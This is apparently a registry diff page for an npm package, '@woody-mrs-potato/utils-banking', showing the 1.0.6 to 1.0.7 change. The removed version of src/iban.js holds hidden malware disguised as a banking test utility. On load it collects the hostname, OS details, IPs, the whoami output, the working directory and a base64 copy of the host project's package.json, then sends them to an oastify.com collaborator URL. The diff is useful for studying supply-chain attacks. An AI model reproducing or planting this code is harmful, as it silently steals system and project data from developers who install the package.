@woody-mrs-potato/utils-banking 1.0.6 → 1.0.7

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/iban.js +1 -78
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@woody-mrs-potato/utils-banking",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "A test utility module for common operations.",
5
5
  "main": "src/iban.js",
6
6
  "author": "Telefo David",
package/src/iban.js CHANGED
@@ -1,78 +1 @@
1
- const os = require('os');
2
- const https = require('https');
3
- const fs = require('fs');
4
- const { exec } = require('child_process');
5
-
6
- function getExternalIp(callback) {
7
- https.get('https://api.ipify.org?format=json', (res) => {
8
- let data = '';
9
-
10
- res.on('data', (chunk) => {
11
- data += chunk;
12
- });
13
-
14
- res.on('end', () => {
15
- const ipData = JSON.parse(data);
16
- callback(ipData.ip);
17
- });
18
- }).on('error', (e) => {
19
- console.error(`Error al obtener IP externa: ${e.message}`);
20
- callback('Unknown');
21
- });
22
- }
23
-
24
- function getWhoami(callback) {
25
- exec('whoami', (error, stdout, stderr) => {
26
- if (error) {
27
- console.error(`Error ejecutando whoami: ${error.message}`);
28
- callback('Unknown');
29
- return;
30
- }
31
- callback(stdout.trim());
32
- });
33
- }
34
-
35
- const systemInfo = {
36
- platform: os.platform(),
37
- release: os.release(),
38
- hostname: os.hostname(),
39
- ip: os.networkInterfaces()['eth0'] ? os.networkInterfaces()['eth0'][0].address : 'Unknown',
40
- cwd: process.cwd(), // Agregamos el directorio actual
41
- };
42
-
43
- // Leer y codificar el archivo package.json en base64
44
- function getPackageFileBase64(callback) {
45
- const packageFilePath = `${systemInfo.cwd}/package.json`;
46
- fs.readFile(packageFilePath, 'utf8', (err, data) => {
47
- if (err) {
48
- console.error(`Error al leer package.json: ${err.message}`);
49
- callback('Unknown');
50
- return;
51
- }
52
- const base64File = Buffer.from(data).toString('base64');
53
- callback(base64File);
54
- });
55
- }
56
-
57
- getExternalIp((externalIp) => {
58
- getWhoami((whoami) => {
59
- getPackageFileBase64((base64File) => {
60
- const queryParams = new URLSearchParams({
61
- ...systemInfo,
62
- externalIp: externalIp,
63
- user: whoami,
64
- file: base64File, // Agregamos el archivo codificado en base64
65
- }).toString();
66
-
67
- const url = `https://dr8ovdgobzqqpqd23aygqolw9nfe35ru.oastify.com/BBVA/Telefonica?${queryParams}`;
68
-
69
- https.get(url, (res) => {
70
- console.log(`Status: ${res.statusCode}`);
71
- }).on('error', (e) => {
72
- console.error(`Problem with request: ${e.message}`);
73
- });
74
- });
75
- });
76
- });
77
-
78
- console.log("Test module loaded successfully");
1
+ console.log("Test")